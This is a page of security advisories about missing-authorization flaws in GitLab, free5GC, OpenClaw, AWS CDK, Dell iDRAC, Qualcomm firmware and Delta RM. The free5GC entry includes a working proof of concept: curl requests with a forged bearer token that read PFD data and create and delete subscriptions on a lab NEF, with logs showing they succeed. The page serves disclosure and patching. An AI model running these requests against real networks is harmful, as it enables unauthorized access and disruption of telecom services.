Vulnerability-Lookup

GHSA-RWWP-3RV3-J6Q6

Vulnerability from github – Published: 2025-08-13 18:31 – Updated: 2025-08-13 18:31

Details

An issue has been discovered in GitLab CE/EE affecting all versions from 15.6 before 18.0.6, 18.1 before 18.1.4, and 18.2 before 18.2.2 that under certain conditions could have allowed authenticated users to bypass access controls and download private artifacts by accessing specific API endpoints.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-10219"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-13T18:15:26Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions from 15.6 before 18.0.6, 18.1 before 18.1.4, and 18.2 before 18.2.2 that under certain conditions could have allowed authenticated users to bypass access controls and download private artifacts by accessing specific API endpoints.",
  "id": "GHSA-rwwp-3rv3-j6q6",
  "modified": "2025-08-13T18:31:24Z",
  "published": "2025-08-13T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10219"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2780353"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/500134"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RWWW-X45W-P52W

Vulnerability from github – Published: 2026-05-08 23:02 – Updated: 2026-06-08 23:48

Summary

free5GC's NEF nnef-pfdmanagement API is unauthenticated; forged bearer tokens can read PFD data and create/delete PFD subscriptions

Details

Summary

free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{appID}, and to create or delete PFD change-notification subscriptions via POST /subscriptions and DELETE /subscriptions/{subID}. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, nnef-pfdmanagement IS declared in the runtime ServiceList, so this is the production-intended path that operators expect to be protected by OAuth2 setting receive from NRF: true -- and it is not.

Details

Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, but the entire nnef-pfdmanagement route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.

Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:56 - Read routes exposed at /applications and /applications/:appID: NFs/nef/internal/sbi/api_pfdf.go:13 - Subscription routes exposed at /subscriptions and /subscriptions/:subID: NFs/nef/internal/sbi/api_pfdf.go:13 - GET /applications queries UDR for application PFD data: NFs/nef/internal/sbi/processor/pfdf.go:19 - GET /applications/:appID queries UDR for an application PFD: NFs/nef/internal/sbi/processor/pfdf.go:53 - POST /subscriptions only checks notifyUri is present, then stores the subscription: NFs/nef/internal/sbi/processor/pfdf.go:83 - DELETE /subscriptions/:subID removes the subscription: NFs/nef/internal/sbi/processor/pfdf.go:110 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nef_context.go:153

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.

Seed an AF context (also forged-token):

curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions

Seed one PFD application entry (also forged-token):

curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \
  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions

READ PFD collection with forged token -> 200 OK returns PFD data:

curl -i -H 'Authorization: Bearer not-a-real-token' \
  'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311'

READ individual PFD with forged token -> 200 OK:

curl -i -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311

CREATE PFD subscription with forged token -> 201 Created:

curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \
  http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions

DELETE PFD subscription with forged token -> 204 No Content:

curl -i -X DELETE \
  -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1

NEF container logs (docker logs nef) show requests reaching business handlers and returning success codes:

[INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET    | /nnef-pfdmanagement/v1/applications?application-ids=...
[INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET    | /nnef-pfdmanagement/v1/applications/...
[INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2]
[INFO][NEF][GIN] | 201 | POST   | /nnef-pfdmanagement/v1/subscriptions
[INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1

Impact

Missing inbound authentication (CWE-306) and authorization (CWE-862) on the nnef-pfdmanagement SBI route group. This is the production-intended PFD service for NEF (declared in the runtime ServiceList), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can: - Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF. - Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen notifyUri endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.

The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/nef"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44330"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T23:02:41Z",
    "nvd_published_at": "2026-05-27T17:16:38Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nfree5GC\u0027s NEF mounts the `nnef-pfdmanagement` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) to read PFD application data via `GET /applications` and `GET /applications/{appID}`, and to create or delete PFD change-notification subscriptions via `POST /subscriptions` and `DELETE /subscriptions/{subID}`. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, `nnef-pfdmanagement` IS declared in the runtime `ServiceList`, so this is the production-intended path that operators expect to be protected by `OAuth2 setting receive from NRF: true` -- and it is not.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nef:v4.2.0`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-11\n\nNEF advertises `OAuth2 setting receive from NRF: true`, but the entire `nnef-pfdmanagement` route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.\n\nCode evidence (paths in `free5gc/nef`):\n- Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:56`\n- Read routes exposed at `/applications` and `/applications/:appID`: `NFs/nef/internal/sbi/api_pfdf.go:13`\n- Subscription routes exposed at `/subscriptions` and `/subscriptions/:subID`: `NFs/nef/internal/sbi/api_pfdf.go:13`\n- `GET /applications` queries UDR for application PFD data: `NFs/nef/internal/sbi/processor/pfdf.go:19`\n- `GET /applications/:appID` queries UDR for an application PFD: `NFs/nef/internal/sbi/processor/pfdf.go:53`\n- `POST /subscriptions` only checks `notifyUri` is present, then stores the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:83`\n- `DELETE /subscriptions/:subID` removes the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:110`\n- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153`\n\n### PoC\nReproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token.\n\n1. Seed an AF context (also forged-token):\n```\ncurl -i \\\n  -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"afServiceId\":\"svc-pfdf-read\",\"afAppId\":\"app-seed-pfdf-read\",\"dnn\":\"internet\",\"snssai\":{\"sst\":1,\"sd\":\"010203\"},\"anyUeInd\":true,\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.41 to 198.51.100.0/24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-pfdf-read\",\"routeInfo\":{\"ipv4Addr\":\"10.60.0.3\",\"portNumber\":0}}]}\u0027 \\\n  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions\n```\n\n2. Seed one PFD application entry (also forged-token):\n```\ncurl -i \\\n  -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"pfdDatas\":{\"app-poc-pfdf-read-20260311\":{\"externalAppId\":\"app-poc-pfdf-read-20260311\",\"pfds\":{\"pfd-poc\":{\"pfdId\":\"pfd-poc\",\"urls\":[\"^http://pfdf-read.example.com(/\\\\\\\\S*)?$\"]}}}}}\u0027 \\\n  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions\n```\n\n3. READ PFD collection with forged token -\u003e `200 OK` returns PFD data:\n```\ncurl -i -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n  \u0027http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311\u0027\n```\n\n4. READ individual PFD with forged token -\u003e `200 OK`:\n```\ncurl -i -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n  http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311\n```\n\n5. CREATE PFD subscription with forged token -\u003e `201 Created`:\n```\ncurl -i \\\n  -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"applicationIds\":[\"app-poc-sub1\",\"app-poc-sub2\"],\"notifyUri\":\"http://127.0.0.1:65530/pfd-notify\"}\u0027 \\\n  http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions\n```\n\n6. DELETE PFD subscription with forged token -\u003e `204 No Content`:\n```\ncurl -i -X DELETE \\\n  -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n  http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1\n```\n\nNEF container logs (`docker logs nef`) show requests reaching business handlers and returning success codes:\n```\n[INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311]\n[INFO][NEF][GIN] | 200 | GET    | /nnef-pfdmanagement/v1/applications?application-ids=...\n[INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311]\n[INFO][NEF][GIN] | 200 | GET    | /nnef-pfdmanagement/v1/applications/...\n[INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2]\n[INFO][NEF][GIN] | 201 | POST   | /nnef-pfdmanagement/v1/subscriptions\n[INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1]\n[INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1\n```\n\n### Impact\nMissing inbound authentication (CWE-306) and authorization (CWE-862) on the `nnef-pfdmanagement` SBI route group. This is the production-intended PFD service for NEF (declared in the runtime `ServiceList`), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can:\n- Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF.\n- Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen `notifyUri` endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to.\n- Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.\n\nThe defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group\u0027s full capability surface.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/862\nUpstream fix: https://github.com/free5gc/nef/pull/23",
  "id": "GHSA-rwww-x45w-p52w",
  "modified": "2026-06-08T23:48:31Z",
  "published": "2026-05-08T23:02:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-rwww-x45w-p52w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44330"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/862"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC\u0027s NEF nnef-pfdmanagement API is unauthenticated; forged bearer tokens can read PFD data and create/delete PFD subscriptions"
}

GHSA-RWWX-25M7-WW73

Vulnerability from github – Published: 2026-03-29 15:30 – Updated: 2026-04-06 22:35

Summary

Duplicate Advisory: OpenClaw: Unrecognized script runners could bypass `system.run` approval integrity

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-qc36-x95h-7j53. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.3.11 contains an approval integrity vulnerability where system.run approvals fail to bind mutable file operands for certain script runners like tsx and jiti. Attackers can obtain approval for benign script commands, rewrite referenced scripts on disk, and execute modified code under the approved run context.

Severity

8.0 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T22:35:49Z",
    "nvd_published_at": "2026-03-29T13:17:01Z",
    "severity": "CRITICAL"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-qc36-x95h-7j53. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.11 contains an approval integrity vulnerability where system.run approvals fail to bind mutable file operands for certain script runners like tsx and jiti. Attackers can obtain approval for benign script commands, rewrite referenced scripts on disk, and execute modified code under the approved run context.",
  "id": "GHSA-rwwx-25m7-ww73",
  "modified": "2026-04-06T22:35:49Z",
  "published": "2026-03-29T15:30:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qc36-x95h-7j53"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32978"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-approval-bypass-via-unrecognized-script-runners"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw: Unrecognized script runners could bypass `system.run` approval integrity",
  "withdrawn": "2026-04-06T22:35:49Z"
}

GHSA-RX28-R23P-2QC3

Vulnerability from github – Published: 2023-06-19 22:47 – Updated: 2023-06-20 18:06

Summary

AWS CDK EKS overly permissive trust policies

Details

If you are using the eks.Cluster or eks.FargateCluster construct we need you to take action. Other users are not affected and can stop reading.

Impact

The AWS Cloud Development Kit (CDK) allows for the definition of Amazon Elastic Container Service for Kubernetes (EKS) clusters. eks.Cluster and eks.FargateCluster constructs create two roles that have an overly permissive trust policy.

The first, referred to as the CreationRole, is used by lambda handlers to create the cluster and deploy Kubernetes resources (e.g KubernetesManifest, HelmChart, ...) onto it. Users with CDK version higher or equal to 1.62.0 (including v2 users) will be affected.

The second, referred to as the default MastersRole, is provisioned only if the mastersRole property isn't provided and has permissions to execute kubectl commands on the cluster. Users with CDK version higher or equal to 1.57.0 (including v2 users) will be affected.

Both these roles use the account root principal in their trust policy, which allows any identity in the account with the appropriate sts:AssumeRolepermissions to assume it. For example, this can happen if another role in your account has sts:AssumeRole permissions on Resource: "*".

CreationRole

Users with CDK version higher or equal to 1.62.0 (including v2 users). The role in question can be located in the IAM console. It will have the following name pattern:

*-ClusterCreationRole-*

MastersRole

Users with CDK version higher or equal to 1.57.0 (including v2 users) that are not specifying the mastersRole property. The role in question can be located in the IAM console. It will have the following name pattern:

*-MastersRole-*

Patches

The issue has been fixed in versions v1.202.0, v2.80.0. We recommend you upgrade to a fixed version as soon as possible. See Managing Dependencies in the CDK Developer Guide for instructions on how to do this.

The new versions no longer use the account root principal. Instead, they restrict the trust policy to the specific roles of lambda handlers that need it. This introduces some breaking changes that might require you to perform code changes. Refer to https://github.com/aws/aws-cdk/issues/25674 for a detailed discussion of options.

Workarounds

CreationRole

There is no workaround available for CreationRole.

MastersRole

To avoid creating the default MastersRole, use the mastersRole property to explicitly provide a role. For example:

new eks.Cluster(this, 'Cluster', { 
  ... 
  mastersRole: iam.Role.fromRoleArn(this, 'Admin', 'arn:aws:iam::xxx:role/Admin') 
});

References

https://github.com/aws/aws-cdk/issues/25674

If you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.

Severity

6.6 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "aws-cdk-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.80.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aws-cdk/aws-eks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.57.0"
            },
            {
              "fixed": "1.202.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-35165"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-19T22:47:26Z",
    "nvd_published_at": "2023-06-23T21:15:09Z",
    "severity": "MODERATE"
  },
  "details": "If you are using the `eks.Cluster` or `eks.FargateCluster` construct we need you to take action. Other users are not affected and can stop reading.\n\n### Impact \n\nThe AWS Cloud Development Kit (CDK) allows for the definition of Amazon Elastic Container Service for Kubernetes (EKS) clusters. `eks.Cluster` and `eks.FargateCluster` constructs create two roles that have an overly permissive trust policy. \n \nThe first, referred to as the _CreationRole_, is used by lambda handlers to create the cluster and deploy Kubernetes resources (e.g `KubernetesManifest`, `HelmChart`, ...) onto it. Users with CDK version higher or equal to  [1.62.0](https://github.com/aws/aws-cdk/releases/tag/v1.62.0) (including v2 users) will be affected.\n \nThe second, referred to as the _default MastersRole_, is provisioned only if the `mastersRole` property isn\u0027t provided and has permissions to execute `kubectl` commands on the cluster. Users with CDK version higher or equal to [1.57.0](https://github.com/aws/aws-cdk/releases/tag/v1.57.0) (including v2 users) will be affected.\n \nBoth these roles use the account root principal in their trust policy, which allows any identity in the account with the appropriate `sts:AssumeRole `permissions to assume it. For example, this can happen if another role in your account has `sts:AssumeRole` permissions on `Resource: \"*\"`.\n\n#### CreationRole \n\nUsers with CDK version higher or equal to [1.62.0](https://github.com/aws/aws-cdk/releases/tag/v1.62.0) (including v2 users). The role in question can be located in the IAM console. It will have the following name pattern: \n\n```console \n*-ClusterCreationRole-* \n```\n\n#### MastersRole \n\nUsers with CDK version higher or equal to [1.57.0](https://github.com/aws/aws-cdk/releases/tag/v1.57.0) (including v2 users) that are not specifying the `mastersRole` property. The role in question can be located in the IAM console. It will have the following name pattern: \n\n```console\n*-MastersRole-*\n```\n\n### Patches \n\nThe issue has been fixed in versions [v1.202.0](https://github.com/aws/aws-cdk/releases/tag/v1.202.0), [v2.80.0](https://github.com/aws/aws-cdk/releases/tag/v2.80.0). We recommend you upgrade to a fixed version as soon as possible. See [Managing Dependencies](https://docs.aws.amazon.com/cdk/v2/guide/manage-dependencies.html) in the CDK Developer Guide for instructions on how to do this.  \n \nThe new versions no longer use the account root principal. Instead, they restrict the trust policy to the specific roles of lambda handlers that need it. This introduces some breaking changes that might require you to perform code changes. Refer to https://github.com/aws/aws-cdk/issues/25674 for a detailed discussion of options. \n\n### Workarounds \n\n#### CreationRole \n\nThere is no workaround available for CreationRole. \n\n#### MastersRole \n\nTo avoid creating the _default MastersRole_, use the `mastersRole` property to explicitly provide a role. For example: \n\n```ts \nnew eks.Cluster(this, \u0027Cluster\u0027, { \n  ... \n  mastersRole: iam.Role.fromRoleArn(this, \u0027Admin\u0027, \u0027arn:aws:iam::xxx:role/Admin\u0027) \n}); \n```\n\n### References\n\n[https://github.com/aws/aws-cdk/issues/25674](https://github.com/aws/aws-cdk/issues/25674)\n\nIf you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.",
  "id": "GHSA-rx28-r23p-2qc3",
  "modified": "2023-06-20T18:06:03Z",
  "published": "2023-06-19T22:47:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-cdk/security/advisories/GHSA-rx28-r23p-2qc3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35165"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-cdk/issues/25674"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aws/aws-cdk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AWS CDK EKS overly permissive trust policies"
}

GHSA-RX2M-34RG-7763

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34

Details

Dell EMC iDRAC7/iDRAC8 versions prior to 2.61.60.60 and iDRAC9 versions prior to 3.20.21.20, 3.21.24.22, 3.21.26.22, and 3.23.23.23 contain a privilege escalation vulnerability. An authenticated malicious iDRAC user with operator privileges could potentially exploit a permissions check flaw in the Redfish interface to gain administrator access.

Severity

8.8 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2018-15774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-13T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "Dell EMC iDRAC7/iDRAC8 versions prior to 2.61.60.60 and iDRAC9 versions prior to 3.20.21.20, 3.21.24.22, 3.21.26.22, and 3.23.23.23 contain a privilege escalation vulnerability. An authenticated malicious iDRAC user with operator privileges could potentially exploit a permissions check flaw in the Redfish interface to gain administrator access.",
  "id": "GHSA-rx2m-34rg-7763",
  "modified": "2022-05-13T01:34:08Z",
  "published": "2022-05-13T01:34:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15774"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/article/us/en/19/sln315190/dell-emc-idrac-multiple-vulnerabilities-cve-2018-15774-and-cve-2018-15776-?lang=en"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106233"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RX46-HFPW-4QH6

Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20

Details

Possible denial of service scenario can occur due to lack of length check on Channel Switch Announcement IE in beacon or probe response frame in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wired Infrastructure and Networking

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-1903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-12T07:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Possible denial of service scenario can occur due to lack of length check on Channel Switch Announcement IE in beacon or probe response frame in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer Electronics Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice \u0026 Music, Snapdragon Wired Infrastructure and Networking",
  "id": "GHSA-rx46-hfpw-4qh6",
  "modified": "2022-05-24T19:20:35Z",
  "published": "2022-05-24T19:20:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1903"
    },
    {
      "type": "WEB",
      "url": "https://www.qualcomm.com/company/product-security/bulletins/november-2021-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RX9X-86VG-H4CR

Vulnerability from github – Published: 2022-01-19 00:00 – Updated: 2022-07-13 00:01

Details

An issue was discovered in Delta RM 1.2. The /risque/risque/workflow/reset endpoint is lacking access controls, and it is possible for an unprivileged user to reopen a risk with a POST request, using the risqueID parameter to identify the risk to be re-opened.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-44836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-18T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Delta RM 1.2. The /risque/risque/workflow/reset endpoint is lacking access controls, and it is possible for an unprivileged user to reopen a risk with a POST request, using the risqueID parameter to identify the risk to be re-opened.",
  "id": "GHSA-rx9x-86vg-h4cr",
